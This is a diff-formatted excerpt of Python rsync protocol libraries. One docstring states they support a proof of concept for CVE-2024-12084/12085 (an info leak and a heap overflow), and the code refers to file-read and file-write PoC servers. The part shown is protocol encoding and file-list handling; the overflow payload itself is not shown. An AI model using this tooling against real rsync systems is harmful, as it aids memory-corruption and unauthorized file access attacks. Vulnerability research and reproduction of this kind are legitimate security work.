# Standalone encoding helpers (used by poc_fileread's raw server)
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def make_msg_data(data, tag=MSG_DATA):
|
||||
"""Wrap *data* in a multiplexed message with the given tag."""
|
||||
tl = ((tag + MPLEX_BASE) << TAG_SHIFT) | len(data)
|
||||
return struct.pack('<I', tl) + data
|
||||
|
||||
|
||||
def encode_var_int_bytes(num):
|
||||
"""Encode a varint to bytes (standalone, no connection)."""
|
||||
buf = bytearray(5)
|
||||
struct.pack_into('<I', buf, 1, num & 0xFFFFFFFF)
|
||||
cnt = 4
|
||||
while cnt > 1 and buf[cnt] == 0:
|
||||
cnt -= 1
|
||||
bit = 1 << (8 - cnt)
|
||||
if buf[cnt] >= bit:
|
||||
cnt += 1
|
||||
buf[0] = (~(bit - 1)) & 0xFF
|
||||
elif cnt > 1:
|
||||
buf[0] = buf[cnt] | ((~(bit * 2 - 1)) & 0xFF)
|
||||
else:
|
||||
buf[0] = buf[1]
|
||||
return bytes(buf[:cnt])
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# RsyncConnection
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class RsyncConnection:
|
||||
"""Bidirectional rsync protocol handler over a TCP socket."""
|
||||
|
||||
def __init__(self, sock, protocol_version=31, module='',
|
||||
digest='', digest_len=0):
|
||||
self.sock = sock
|
||||
self.protocol_version = protocol_version
|
||||
self.module = module
|
||||
self.digest = digest
|
||||
self.digest_len = digest_len
|
||||
|
||||
self.out_multiplexed = False
|
||||
self.in_multiplexed = False
|
||||
self._inbuf = b''
|
||||
|
||||
self.prev_positive_outbound = -1
|
||||
self.prev_negative_outbound = -1
|
||||
self.prev_positive_inbound = -1
|
||||
self.prev_negative_inbound = -1
|
||||
|
||||
self.residue = 0
|
||||
|
||||
# deflate token state
|
||||
self._recv_state = R_INIT
|
||||
self._rx_token = 0
|
||||
self._saved_flag = 0
|
||||
|
||||
def close(self):
|
||||
try:
|
||||
self.sock.close()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# --- low-level socket helpers ---
|
||||
|
||||
def _recv_exact(self, n):
|
||||
buf = b''
|
||||
while len(buf) < n:
|
||||
chunk = self.sock.recv(n - len(buf))
|
||||
if not chunk:
|
||||
raise ConnectionError("connection closed")
|
||||
buf += chunk
|
||||
return buf
|
||||
|
||||
# --- read / write with multiplexing ---
|
||||
|
||||
def read(self, n):
|
||||
if not self.in_multiplexed:
|
||||
return self._recv_exact(n)
|
||||
if len(self._inbuf) >= n:
|
||||
data, self._inbuf = self._inbuf[:n], self._inbuf[n:]
|
||||
return data
|
||||
saved = True
|
||||
self.in_multiplexed = False
|
||||
while True:
|
||||
raw_tag = self.read_int()
|
||||
msg_tag = ((raw_tag >> TAG_SHIFT) - MPLEX_BASE)
|
||||
msg_bytes = raw_tag & 0xFFFFFF
|
||||
if msg_bytes == 0:
|
||||
continue
|
||||
if msg_tag == MSG_DATA:
|
||||
self._inbuf += self._recv_exact(msg_bytes)
|
||||
if len(self._inbuf) >= n:
|
||||
data, self._inbuf = self._inbuf[:n], self._inbuf[n:]
|
||||
break
|
||||
else:
|
||||
self._recv_exact(msg_bytes) # consume non-data
|
||||
self.in_multiplexed = saved
|
||||
return data
|
||||
|
||||
def write(self, data):
|
||||
if not self.out_multiplexed:
|
||||
self.sock.sendall(data)
|
||||
return
|
||||
self.out_multiplexed = False
|
||||
self._write_msg_data(data)
|
||||
self.out_multiplexed = True
|
||||
|
||||
def _write_msg_data(self, data):
|
||||
if len(data) > 0xFFFFFF:
|
||||
raise ValueError(f"data too long: {len(data)}")
|
||||
tag = ((MSG_DATA + MPLEX_BASE) << TAG_SHIFT) | len(data)
|
||||
self.write_raw_int(tag)
|
||||
self.sock.sendall(data)
|
||||
|
||||
def write_bulk(self, data):
|
||||
"""Write a pre-built bytes blob as a single multiplexed MSG_DATA.
|
||||
Use this to avoid thousands of tiny syscalls when sending large
|
||||
payloads (e.g. checksum arrays)."""
|
||||
if not self.out_multiplexed:
|
||||
self.sock.sendall(data)
|
||||
return
|
||||
# Split into <=16 MB chunks (MSG_DATA length limit is 0xFFFFFF)
|
||||
off = 0
|
||||
while off < len(data):
|
||||
chunk = data[off:off + 0xFFFFFF]
|
||||
tag = ((MSG_DATA + MPLEX_BASE) << TAG_SHIFT) | len(chunk)
|
||||
hdr = struct.pack('<I', tag)
|
||||
self.sock.sendall(hdr + chunk)
|
||||
off += len(chunk)
|
||||
|
||||
# --- scalar read/write ---
|
||||
|
||||
def read_byte(self):
|
||||
return self.read(1)[0]
|
||||
|
||||
def write_byte(self, b):
|
||||
self.write(bytes([b & 0xFF]))
|
||||
|
||||
def read_int(self):
|
||||
return struct.unpack('<I', self.read(4))[0]
|
||||
|
||||
def write_raw_int(self, v):
|
||||
self.write(struct.pack('<I', v & 0xFFFFFFFF))
|
||||
|
||||
def write_raw_int64(self, v):
|
||||
self.write(struct.pack('<Q', v & 0xFFFFFFFFFFFFFFFF))
|
||||
|
||||
def read_short_int(self):
|
||||
return struct.unpack('<H', self.read(2))[0]
|
||||
|
||||
def write_short_int(self, v):
|
||||
self.write(struct.pack('<H', v & 0xFFFF))
|
||||
|
||||
# --- variable-length integer ---
|
||||
|
||||
def read_var_int(self):
|
||||
ch = self.read_byte()
|
||||
extra = INT_BYTE_EXTRA[ch // 4]
|
||||
buf = bytearray(5)
|
||||
if extra > 0:
|
||||
bit = 1 << (8 - extra)
|
||||
for i in range(extra):
|
||||
buf[i] = self.read_byte()
|
||||
buf[extra] = ch & (bit - 1)
|
||||
else:
|
||||
buf[0] = ch
|
||||
return struct.unpack_from('<I', buf, 0)[0]
|
||||
|
||||
def write_var_int(self, num):
|
||||
buf = bytearray(5)
|
||||
struct.pack_into('<I', buf, 1, num & 0xFFFFFFFF)
|
||||
cnt = 4
|
||||
while cnt > 1 and buf[cnt] == 0:
|
||||
cnt -= 1
|
||||
bit = 1 << (8 - cnt)
|
||||
if buf[cnt] >= bit:
|
||||
cnt += 1
|
||||
buf[0] = (~(bit - 1)) & 0xFF
|
||||
elif cnt > 1:
|
||||
buf[0] = buf[cnt] | ((~(bit * 2 - 1)) & 0xFF)
|
||||
else:
|
||||
buf[0] = buf[1]
|
||||
self.write(bytes(buf[:cnt]))
|
||||
|
||||
# --- variable-length long ---
|
||||
|
||||
def read_var_long(self, min_bytes):
|
||||
b = bytearray(9)
|
||||
b2 = bytearray(8)
|
||||
raw = self.read(min_bytes)
|
||||
for i in range(min_bytes):
|
||||
b2[i] = raw[i]
|
||||
for i in range(min_bytes - 1):
|
||||
b[i] = b2[i + 1]
|
||||
extra = INT_BYTE_EXTRA[b2[0] // 4]
|
||||
if extra > 0:
|
||||
bit = 1 << (8 - extra)
|
||||
ext = self.read(extra)
|
||||
for i in range(extra):
|
||||
b[min_bytes - 1 + i] = ext[i]
|
||||
b[min_bytes + extra - 1] = b2[0] & (bit - 1)
|
||||
else:
|
||||
b[min_bytes + extra - 1] = b2[0]
|
||||
return struct.unpack_from('<q', bytes(b[:8]), 0)[0]
|
||||
|
||||
def read_var_long30(self, min_bytes):
|
||||
if self.protocol_version < 30:
|
||||
return self.read_long_int()
|
||||
return self.read_var_long(min_bytes)
|
||||
|
||||
def read_varint30(self):
|
||||
if self.protocol_version < 30:
|
||||
return self.read_int()
|
||||
return self.read_var_int()
|
||||
|
||||
def read_long_int(self):
|
||||
v = self.read_int()
|
||||
if v != 0xFFFFFFFF:
|
||||
return v
|
||||
return struct.unpack('<Q', self.read(8))[0]
|
||||
|
||||
# --- variable-length string ---
|
||||
|
||||
def read_vstring(self):
|
||||
b = self.read_byte()
|
||||
length = b
|
||||
if length & 0x80:
|
||||
b2 = self.read_byte()
|
||||
length = (length & 0x7F) * 0x100 + b2
|
||||
return self.read(length).decode('latin-1')
|
||||
|
||||
def write_vstring(self, s):
|
||||
data = s.encode('latin-1')
|
||||
slen = len(data)
|
||||
hdr = bytearray()
|
||||
if slen > 0x7F:
|
||||
hdr.append((slen // 0x100) + 0x80)
|
||||
hdr.append(slen & 0xFF)
|
||||
self.write(bytes(hdr) + data)
|
||||
|
||||
# --- NDX (byte-reduced index) ---
|
||||
|
||||
def _get_prev_inbound(self, ptr):
|
||||
if ptr == _PREV_POSITIVE:
|
||||
return self.prev_positive_inbound
|
||||
return self.prev_negative_inbound
|
||||
|
||||
def _set_prev_inbound(self, ptr, val):
|
||||
if ptr == _PREV_POSITIVE:
|
||||
self.prev_positive_inbound = val
|
||||
else:
|
||||
self.prev_negative_inbound = val
|
||||
|
||||
def write_ndx(self, ndx):
|
||||
if self.protocol_version < 30:
|
||||
return self.write_raw_int(ndx)
|
||||
b = bytearray(6)
|
||||
cnt = 0
|
||||
if ndx >= 0:
|
||||
diff = ndx - self.prev_positive_outbound
|
||||
self.prev_positive_outbound = ndx
|
||||
elif ndx == NDX_DONE:
|
||||
return self.write_byte(0)
|
||||
else:
|
||||
b[cnt] = 0xFF; cnt += 1
|
||||
ndx = -ndx
|
||||
diff = ndx - self.prev_negative_outbound
|
||||
self.prev_negative_outbound = ndx
|
||||
if 0 < diff < 0xFE:
|
||||
b[cnt] = diff & 0xFF; cnt += 1
|
||||
elif diff < 0 or diff > 0x7FFF:
|
||||
b[cnt] = 0xFE; cnt += 1
|
||||
b[cnt] = ((ndx >> 24) & 0xFF) | 0x80; cnt += 1
|
||||
b[cnt] = ndx & 0xFF; cnt += 1
|
||||
b[cnt] = (ndx >> 8) & 0xFF; cnt += 1
|
||||
b[cnt] = (ndx >> 16) & 0xFF; cnt += 1
|
||||
else:
|
||||
b[cnt] = 0xFE; cnt += 1
|
||||
b[cnt] = (diff >> 8) & 0xFF; cnt += 1
|
||||
b[cnt] = diff & 0xFF; cnt += 1
|
||||
self.write(bytes(b[:cnt]))
|
||||
|
||||
def read_ndx(self):
|
||||
if self.protocol_version < 30:
|
||||
return self.read_int()
|
||||
b = self.read_byte()
|
||||
if b == 0xFF:
|
||||
b = self.read_byte()
|
||||
prev_ptr = _PREV_NEGATIVE
|
||||
elif b == 0:
|
||||
return NDX_DONE
|
||||
else:
|
||||
prev_ptr = _PREV_POSITIVE
|
||||
if b == 0xFE:
|
||||
b0 = self.read_byte()
|
||||
b1 = self.read_byte()
|
||||
if b0 & 0x80:
|
||||
buf = bytearray(4)
|
||||
buf[3] = b0 & 0x80
|
||||
buf[0] = b1
|
||||
buf[1] = self.read_byte()
|
||||
buf[2] = self.read_byte()
|
||||
num = struct.unpack_from('<I', buf, 0)[0]
|
||||
else:
|
||||
num = (b0 << 8) + b1 + self._get_prev_inbound(prev_ptr)
|
||||
else:
|
||||
num = b + self._get_prev_inbound(prev_ptr)
|
||||
self._set_prev_inbound(prev_ptr, num)
|
||||
if prev_ptr == _PREV_NEGATIVE:
|
||||
num = -num
|
||||
return num
|
||||
|
||||
# --- line-oriented I/O ---
|
||||
|
||||
def read_line(self):
|
||||
result = []
|
||||
while True:
|
||||
ch = self.read(1)
|
||||
if ch in (b'\n', b'\x00'):
|
||||
break
|
||||
result.append(ch)
|
||||
return b''.join(result).decode('latin-1')
|
||||
|
||||
def write_line(self, line):
|
||||
"""Null-terminated line (argument phase)."""
|
||||
self.write(line.encode('latin-1') + b'\x00')
|
||||
|
||||
def write_line_old(self, line):
|
||||
"""Newline-terminated line (greeting phase)."""
|
||||
self.write(line.encode('latin-1') + b'\n')
|
||||
|
||||
def write_sbuf(self, s):
|
||||
self.write(s.encode('latin-1'))
|
||||
|
||||
# --- multiplexing control ---
|
||||
|
||||
def enable_multiplex_outbound(self):
|
||||
self.out_multiplexed = True
|
||||
|
||||
def enable_multiplex_inbound(self):
|
||||
self.in_multiplexed = True
|
||||
|
||||
# --- special messages ---
|
||||
|
||||
def send_exit_message(self):
|
||||
saved = self.out_multiplexed
|
||||
self.out_multiplexed = False
|
||||
tag = ((MSG_EXIT + MPLEX_BASE) << TAG_SHIFT)
|
||||
self.write_raw_int(tag)
|
||||
self.out_multiplexed = saved
|
||||
|
||||
# --- token I/O ---
|
||||
|
||||
def receive_token(self):
|
||||
"""Receive a single uncompressed token. Returns (signal, data)."""
|
||||
if self.residue == 0:
|
||||
raw = self.read_int()
|
||||
token = struct.unpack('<i', struct.pack('<I', raw))[0]
|
||||
if token <= 0:
|
||||
return raw, b''
|
||||
self.residue = raw
|
||||
n = min(self.residue, CHUNK_SIZE)
|
||||
self.residue -= n
|
||||
return n, self.read(n)
|
||||
|
||||
def send_token(self, buf):
|
||||
"""Send uncompressed file data."""
|
||||
sent = 0
|
||||
total = len(buf)
|
||||
while sent < total:
|
||||
n = min(CHUNK_SIZE, total - sent)
|
||||
self.write_raw_int(n)
|
||||
self.write(buf[sent:sent+n])
|
||||
sent += n
|
||||
self.write_raw_int(0)
|
||||
|
||||
def receive_deflate_token(self):
|
||||
"""Receive a token from a zlib-compressed stream. Returns (signal, data)."""
|
||||
while True:
|
||||
if self._recv_state == R_INIT:
|
||||
self._recv_state = R_IDLE
|
||||
self._rx_token = 0
|
||||
|
||||
if self._recv_state in (R_IDLE, R_INFLATED):
|
||||
if self._saved_flag:
|
||||
flag = self._saved_flag & 0xFF
|
||||
self._saved_flag = 0
|
||||
else:
|
||||
flag = self.read_byte()
|
||||
|
||||
if (flag & 0xC0) == DEFLATED_DATA:
|
||||
flag_length = (flag & 0x3F) << 8
|
||||
flag_length += self.read_byte()
|
||||
self.read(flag_length) # consume compressed bytes
|
||||
self._recv_state = R_INFLATING
|
||||
return 1, b'' # positive signal = server sent data
|
||||
|
||||
if flag == 0:
|
||||
self._recv_state = R_INIT
|
||||
return 0, b''
|
||||
|
||||
if flag & TOKEN_REL:
|
||||
self._rx_token += flag & 0x3F
|
||||
flag >>= 6
|
||||
else:
|
||||
self._rx_token = self.read_int()
|
||||
|
||||
return -1 - self._rx_token, b''
|
||||
|
||||
# --- protocol setup (client side) ---
|
||||
|
||||
def setup_protocol(self):
|
||||
"""Exchange compat flags, digest negotiation, and seed."""
|
||||
self.read_var_int() # compat flags
|
||||
self.read_vstring() # server digest list
|
||||
self.write_vstring(self.digest) # our choice
|
||||
self.read_int() # checksum seed
|
||||
self.in_multiplexed = True
|
||||
self.out_multiplexed = True
|
||||
|
||||
# --- file list (client side, receiving from server) ---
|
||||
|
||||
def read_file_list(self):
|
||||
"""Read and sort a file list from the server."""
|
||||
prev_mode = 0
|
||||
lastname = ''
|
||||
result = []
|
||||
|
||||
while True:
|
||||
flags = self.read_var_int()
|
||||
if flags == 0:
|
||||
err_code = self.read_var_int()
|
||||
if err_code:
|
||||
raise RuntimeError(f"server error in file list: {err_code}")
|
||||
break
|
||||
|
||||
l1 = 0
|
||||
if flags & XMIT_SAME_NAME:
|
||||
l1 = self.read_byte()
|
||||
if flags & XMIT_LONG_NAME:
|
||||
l2 = self.read_varint30()
|
||||
else:
|
||||
l2 = self.read_byte()
|
||||
|
||||
name_bytes = self.read(l2)
|
||||
name = lastname[:l1] + name_bytes.decode('latin-1')
|
||||
lastname = name
|
||||
|
||||
if (self.protocol_version >= 30 and
|
||||
(flags & (XMIT_HLINKED | XMIT_HLINKED_FIRST)) == XMIT_HLINKED):
|
||||
self.read_var_int()
|
||||
|
||||
file_length = self.read_var_long30(3)
|
||||
|
||||
if not (flags & XMIT_SAME_TIME):
|
||||
if self.protocol_version >= 30:
|
||||
self.read_var_long30(4)
|
||||
else:
|
||||
self.read_int()
|
||||
|
||||
if flags & XMIT_MOD_NSEC:
|
||||
self.read_var_int()
|
||||
|
||||
mode = prev_mode
|
||||
if not (flags & XMIT_SAME_MODE):
|
||||
mode = self.read_int()
|
||||
prev_mode = mode
|
||||
|
||||
digest = None
|
||||
if is_reg(mode):
|
||||
digest = self.read(self.digest_len)
|
||||
|
||||
if is_reg(mode) or is_dir(mode):
|
||||
result.append(File(name=name, size=file_length,
|
||||
mode=mode, digest=digest))
|
||||
|
||||
if len(result) <= 1:
|
||||
raise RuntimeError("No files on server or got recursive list")
|
||||
|
||||
result.sort(key=functools.cmp_to_key(
|
||||
lambda a, b: f_name_cmp(a.name, b.name, a.mode, b.mode,
|
||||
self.protocol_version)))
|
||||
return result
|
||||
|
||||
# --- download a single file ---
|
||||
|
||||
def download_file(self, file_ndx, file_entry):
|
||||
"""Download a file and return its contents."""
|
||||
self.write_ndx(file_ndx)
|
||||
self.write_short_int(ITEM_TRANSFER_FLAG)
|
||||
# sum head: count=0, blength=filesize, s2length=digestlen, remainder=5
|
||||
self.write_raw_int(0)
|
||||
self.write_raw_int(file_entry.size)
|
||||
self.write_raw_int(self.digest_len)
|
||||
self.write_raw_int(5)
|
||||
# read echo
|
||||
self.read_ndx()
|
||||
self.read_short_int()
|
||||
self.read_int() # count
|
||||
self.read_int() # blength
|
||||
self.read_int() # s2length
|
||||
self.read_int() # remainder
|
||||
# receive tokens
|
||||
result = bytearray()
|
||||
while True:
|
||||
n, buf = self.receive_token()
|
||||
sn = struct.unpack('<i', struct.pack('<I', n & 0xFFFFFFFF))[0]
|
||||
if sn <= 0:
|
||||
break
|
||||
result.extend(buf)
|
||||
# verify digest
|
||||
got_digest = self.read(self.digest_len)
|
||||
if got_digest != file_entry.digest:
|
||||
raise RuntimeError(f"digest mismatch for {file_entry.name}")
|
||||
return bytes(result)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Factory functions
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def _get_digest_len(digest):
|
||||
d = digest.lower()
|
||||
if d == 'xxh64':
|
||||
return 8
|
||||
if d == 'sha1':
|
||||
return 20
|
||||
raise ValueError(f"unknown digest: {digest}")
|
||||
|
||||
|
||||
def connect(url, protocol_version='31', digest='xxh64'):
|
||||
"""Connect to an rsync daemon. url = rsync://host:port/module"""
|
||||
if not url.startswith('rsync://'):
|
||||
raise ValueError("url must start with rsync://")
|
||||
rest = url[len('rsync://'):]
|
||||
parts = rest.split('/', 1)
|
||||
if len(parts) != 2:
|
||||
raise ValueError("expected rsync://host:port/module")
|
||||
module = parts[1]
|
||||
hp = parts[0].split(':')
|
||||
if len(hp) != 2:
|
||||
raise ValueError("expected host:port")
|
||||
host, port = hp[0], int(hp[1])
|
||||
|
||||
pv = int(protocol_version)
|
||||
dlen = _get_digest_len(digest)
|
||||
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
sock.connect((host, port))
|
||||
|
||||
rc = RsyncConnection(sock, pv, module, digest, dlen)
|
||||
rc.read_line() # consume greeting
|
||||
rc.write_line_old(f"@RSYNCD: {pv}.0 {digest}")
|
||||
rc.write_line_old(module)
|
||||
while True:
|
||||
line = rc.read_line()
|
||||
if line == '@RSYNCD: OK':
|
||||
break
|
||||
if '@ERROR' in line:
|
||||
raise RuntimeError(f"server error: {line}")
|
||||
if '@RSYNCD: AUTHREQD' in line:
|
||||
raise RuntimeError("authentication required")
|
||||
return rc
|
||||
|
||||
|
||||
def wrap_accepted(sock, protocol_version=31):
|
||||
"""Wrap an accepted server-side socket in RsyncConnection."""
|
||||
rc = RsyncConnection(sock, protocol_version, digest_len=0)
|
||||
# Server-side NDX state differs from client: rsync initialises
|
||||
# prev_negative to 1 (not -1) in the sender/generator.
|
||||
rc.prev_negative_outbound = 1
|
||||
return rc
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# File / FileList (used by poc_filewrite server)
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class File:
|
||||
__slots__ = ('name', 'size', 'mode', 'digest', 'symlink_target', 'content')
|
||||
|
||||
def __init__(self, name='', size=0, mode=0, digest=None,
|
||||
symlink_target='', content=b''):
|
||||
self.name = name
|
||||
self.size = size
|
||||
self.mode = mode
|
||||
self.digest = digest
|
||||
self.symlink_target = symlink_target
|
||||
self.content = content
|
||||
|
||||
|
||||
class FileList:
|
||||
"""Server-side file list builder and sender."""
|
||||
|
||||
def __init__(self):
|
||||
self.files = []
|
||||
self.child_lists = []
|
||||
|
||||
def add_dir(self, name):
|
||||
f = File(name=name, mode=S_IFDIR | 0o755)
|
||||
self.files.append(f)
|
||||
return f
|
||||
|
||||
def add_regular_file(self, name, content=b''):
|
||||
f = File(name=name, mode=S_IFREG | 0o755, content=content)
|
||||
self.files.append(f)
|
||||
return f
|
||||
|
||||
def add_symlink(self, name, target):
|
||||
f = File(name=name, mode=S_IFLNK, symlink_target=target)
|
||||
self.files.append(f)
|
||||
return f
|
||||
|
||||
def new_child_list(self):
|
||||
cl = FileList()
|
||||
self.child_lists.append(cl)
|
||||
return cl
|
||||
|
||||
def sort(self, pv=31):
|
||||
self.files.sort(key=functools.cmp_to_key(
|
||||
lambda a, b: f_name_cmp(a.name, b.name, a.mode, b.mode, pv)))
|
||||
|
||||
def send(self, srv):
|
||||
"""Send this file list over the connection."""
|
||||
self.sort()
|
||||
for f in self.files:
|
||||
srv.write_byte(XMIT_LONG_NAME | XMIT_SAME_TIME)
|
||||
srv.write_var_int(len(f.name))
|
||||
srv.write_sbuf(f.name)
|
||||
# file length (3 zero bytes = 0, no varlong30 yet)
|
||||
srv.write(b'\x00\x00\x00')
|
||||
# modtime skipped because XMIT_SAME_TIME
|
||||
srv.write_raw_int(f.mode)
|
||||
if is_symlink(f.mode):
|
||||
srv.write_var_int(len(f.symlink_target))
|
||||
srv.write_sbuf(f.symlink_target)
|
||||
srv.write_byte(0) # end of list
|
||||
|
||||
def index_for(self, target_file, pv=31):
|
||||
"""Find the global index of a file (matching rsync's numbering)."""
|
||||
self.sort(pv)
|
||||
for cl in self.child_lists:
|
||||
cl.sort(pv)
|
||||
idx = 1
|
||||
for f in self.files:
|
||||
if f is target_file:
|
||||
return idx
|
||||
idx += 1
|
||||
for cl in self.child_lists:
|
||||
idx += 1 # each child list bumps by 1
|
||||
for f in cl.files:
|
||||
if f is target_file:
|
||||
return idx
|
||||
idx += 1
|
||||
raise ValueError(f"file not found: {target_file.name}")
|
||||
@@ -0,0 +1,538 @@
|
||||
"""
|
||||
Minimal rsync protocol library for CVE-2024-12084/12085 PoC.
|
||||
Implements just enough of protocol 31 (daemon mode, server-as-sender)
|
||||
to drive the info leak and heap overflow.
|
||||
|
||||
Wire format references: rsync 3.2.7 source (io.c, flist.c, compat.c,
|
||||
sender.c, token.c, exclude.c, clientserver.c).
|
||||
"""
|
||||
|
||||
import socket
|
||||
import struct
|
||||
import urllib.parse
|
||||
from collections import namedtuple
|
||||
|
||||
# ── Constants ────────────────────────────────────────────────────────
|
||||
ITEM_TRANSFER_FLAG = 1 << 15 # ITEM_TRANSFER from rsync.h
|
||||
MPLEX_BASE = 7
|
||||
MSG_DATA = 0
|
||||
|
||||
# XMIT_* flags (rsync.h)
|
||||
XMIT_TOP_DIR = 1 << 0
|
||||
XMIT_SAME_MODE = 1 << 1
|
||||
XMIT_EXTENDED_FLAGS = 1 << 2
|
||||
XMIT_SAME_UID = 1 << 3
|
||||
XMIT_SAME_GID = 1 << 4
|
||||
XMIT_SAME_NAME = 1 << 5
|
||||
XMIT_LONG_NAME = 1 << 6
|
||||
XMIT_SAME_TIME = 1 << 7
|
||||
XMIT_NO_CONTENT_DIR = 1 << 8
|
||||
XMIT_MOD_NSEC = 1 << 13
|
||||
|
||||
# CF_* compat flags (compat.c)
|
||||
CF_INC_RECURSE = 1 << 0
|
||||
CF_VARINT_FLIST_FLAGS = 1 << 7
|
||||
|
||||
# int_byte_extra table from io.c — varint length decoding
|
||||
INT_BYTE_EXTRA = (
|
||||
[0]*32 + # 0x00-0x7F /4
|
||||
[1]*16 + # 0x80-0xBF /4
|
||||
[2]*8 + [3]*4 + [4]*2 + [5,6] # 0xC0-0xFF /4
|
||||
)
|
||||
|
||||
S_IFMT = 0o170000
|
||||
S_IFREG = 0o100000
|
||||
S_IFDIR = 0o040000
|
||||
|
||||
def is_reg(mode): return (mode & S_IFMT) == S_IFREG
|
||||
def is_dir(mode): return (mode & S_IFMT) == S_IFDIR
|
||||
|
||||
|
||||
# ── rsync's "weak" checksum (get_checksum1 in checksum.c) ───────────
|
||||
def adler32_rsync(data):
|
||||
"""rsync's rolling checksum (NOT real adler32).
|
||||
NOTE: rsync casts bytes to SIGNED char, and CHAR_OFFSET=0."""
|
||||
def sb(x): # signed-byte conversion
|
||||
return x - 256 if x >= 128 else x
|
||||
s1 = s2 = 0
|
||||
n = len(data)
|
||||
i = 0
|
||||
while i < n - 4: # exact match for `i < (len-4)` in C
|
||||
b0, b1, b2, b3 = sb(data[i]), sb(data[i+1]), sb(data[i+2]), sb(data[i+3])
|
||||
s2 += 4*(s1 + b0) + 3*b1 + 2*b2 + b3
|
||||
s1 += b0 + b1 + b2 + b3
|
||||
i += 4
|
||||
while i < n:
|
||||
s1 += sb(data[i])
|
||||
s2 += s1
|
||||
i += 1
|
||||
return ((s1 & 0xffff) | ((s2 & 0xffff) << 16)) & 0xffffffff
|
||||
|
||||
|
||||
FileEntry = namedtuple('FileEntry', 'name mode size mtime')
|
||||
|
||||
|
||||
# ── Connection ───────────────────────────────────────────────────────
|
||||
class RsyncConn:
|
||||
def __init__(self, sock, module, csum_choice):
|
||||
self.sock = sock
|
||||
self.module = module
|
||||
self.csum_choice = csum_choice
|
||||
self.in_multiplexed = False
|
||||
self.out_multiplexed = False
|
||||
self.compat_flags = 0
|
||||
self.checksum_seed = 0
|
||||
# input buffering for multiplexed reads
|
||||
self._mux_buf = b''
|
||||
# ndx encoding state
|
||||
self._wprev_pos = -1
|
||||
self._wprev_neg = 1
|
||||
self._rprev_pos = -1
|
||||
self._rprev_neg = 1
|
||||
|
||||
# ── raw socket I/O ──────────────────────────────────────────────
|
||||
def _raw_send(self, data):
|
||||
self.sock.sendall(data)
|
||||
|
||||
def _raw_recv(self, n):
|
||||
out = b''
|
||||
while len(out) < n:
|
||||
chunk = self.sock.recv(n - len(out))
|
||||
if not chunk:
|
||||
raise ConnectionError("connection closed")
|
||||
out += chunk
|
||||
return out
|
||||
|
||||
def _raw_recv_line(self):
|
||||
out = b''
|
||||
while True:
|
||||
c = self.sock.recv(1)
|
||||
if not c or c == b'\n':
|
||||
break
|
||||
if c != b'\r':
|
||||
out += c
|
||||
return out.decode('latin-1')
|
||||
|
||||
# ── pre-multiplex line/string output ────────────────────────────
|
||||
def write_line(self, s):
|
||||
"""Send a NULL-terminated string. Used for args (raw) AND filters (mux).
|
||||
rsync daemon args use \\0 terminators, NOT \\n. Filters too."""
|
||||
data = s.encode('latin-1') + b'\x00'
|
||||
if self.out_multiplexed:
|
||||
self._mux_send(data)
|
||||
else:
|
||||
self._raw_send(data)
|
||||
|
||||
# ── multiplexed output ──────────────────────────────────────────
|
||||
def _mux_send(self, payload, tag=MSG_DATA):
|
||||
"""Wrap payload in MSG_DATA multiplexing header."""
|
||||
if not self.out_multiplexed:
|
||||
self._raw_send(payload)
|
||||
return
|
||||
# Header: 4 bytes little-endian: low 24 bits = length, high 8 = tag+MPLEX_BASE
|
||||
# Send in chunks <= 0xFFFFFF
|
||||
i = 0
|
||||
while i < len(payload):
|
||||
chunk = payload[i:i+0x4000]
|
||||
hdr = struct.pack('<I', len(chunk) | ((tag + MPLEX_BASE) << 24))
|
||||
self._raw_send(hdr + chunk)
|
||||
i += len(chunk)
|
||||
if len(payload) == 0:
|
||||
# zero-length still needs a header
|
||||
hdr = struct.pack('<I', (tag + MPLEX_BASE) << 24)
|
||||
self._raw_send(hdr)
|
||||
|
||||
def write_raw_int(self, x):
|
||||
"""Write a 4-byte little-endian int (multiplexed)."""
|
||||
self._mux_send(struct.pack('<i', x))
|
||||
|
||||
def write_short_int(self, x):
|
||||
"""Write a 2-byte little-endian short."""
|
||||
self._mux_send(struct.pack('<H', x & 0xffff))
|
||||
|
||||
def write_byte(self, b):
|
||||
self._mux_send(bytes([b & 0xff]))
|
||||
|
||||
def write_bulk(self, data):
|
||||
"""Write arbitrary bytes (multiplexed)."""
|
||||
self._mux_send(bytes(data))
|
||||
|
||||
def write_vstring(self, s):
|
||||
"""Write a vstring: 1 or 2 length bytes, then data."""
|
||||
b = s.encode('latin-1') if isinstance(s, str) else bytes(s)
|
||||
n = len(b)
|
||||
if n > 0x7F:
|
||||
hdr = bytes([(n >> 8) | 0x80, n & 0xff])
|
||||
else:
|
||||
hdr = bytes([n])
|
||||
self._mux_send(hdr + b)
|
||||
|
||||
def write_ndx(self, ndx):
|
||||
"""write_ndx (io.c:2242). Diff-encoded against previous positive."""
|
||||
# NDX_DONE (= -1) sent as single 0 byte
|
||||
if ndx == -1:
|
||||
self._mux_send(b'\x00')
|
||||
return
|
||||
if ndx >= 0:
|
||||
diff = ndx - self._wprev_pos
|
||||
self._wprev_pos = ndx
|
||||
prefix = b''
|
||||
else:
|
||||
prefix = b'\xff'
|
||||
ndx = -ndx
|
||||
diff = ndx - self._wprev_neg
|
||||
self._wprev_neg = ndx
|
||||
if 0 < diff < 0xFE:
|
||||
self._mux_send(prefix + bytes([diff]))
|
||||
elif diff < 0 or diff > 0x7FFF:
|
||||
self._mux_send(prefix + bytes([0xFE,
|
||||
(ndx >> 24) | 0x80,
|
||||
ndx & 0xff,
|
||||
(ndx >> 8) & 0xff,
|
||||
(ndx >> 16) & 0xff]))
|
||||
else:
|
||||
self._mux_send(prefix + bytes([0xFE,
|
||||
(diff >> 8) & 0xff,
|
||||
diff & 0xff]))
|
||||
|
||||
# ── multiplexed input ───────────────────────────────────────────
|
||||
def _mux_read(self, n):
|
||||
"""Read n bytes of MSG_DATA payload, buffering across mux frames."""
|
||||
if not self.in_multiplexed:
|
||||
return self._raw_recv(n)
|
||||
while len(self._mux_buf) < n:
|
||||
hdr = struct.unpack('<I', self._raw_recv(4))[0]
|
||||
tag = (hdr >> 24) - MPLEX_BASE
|
||||
length = hdr & 0xFFFFFF
|
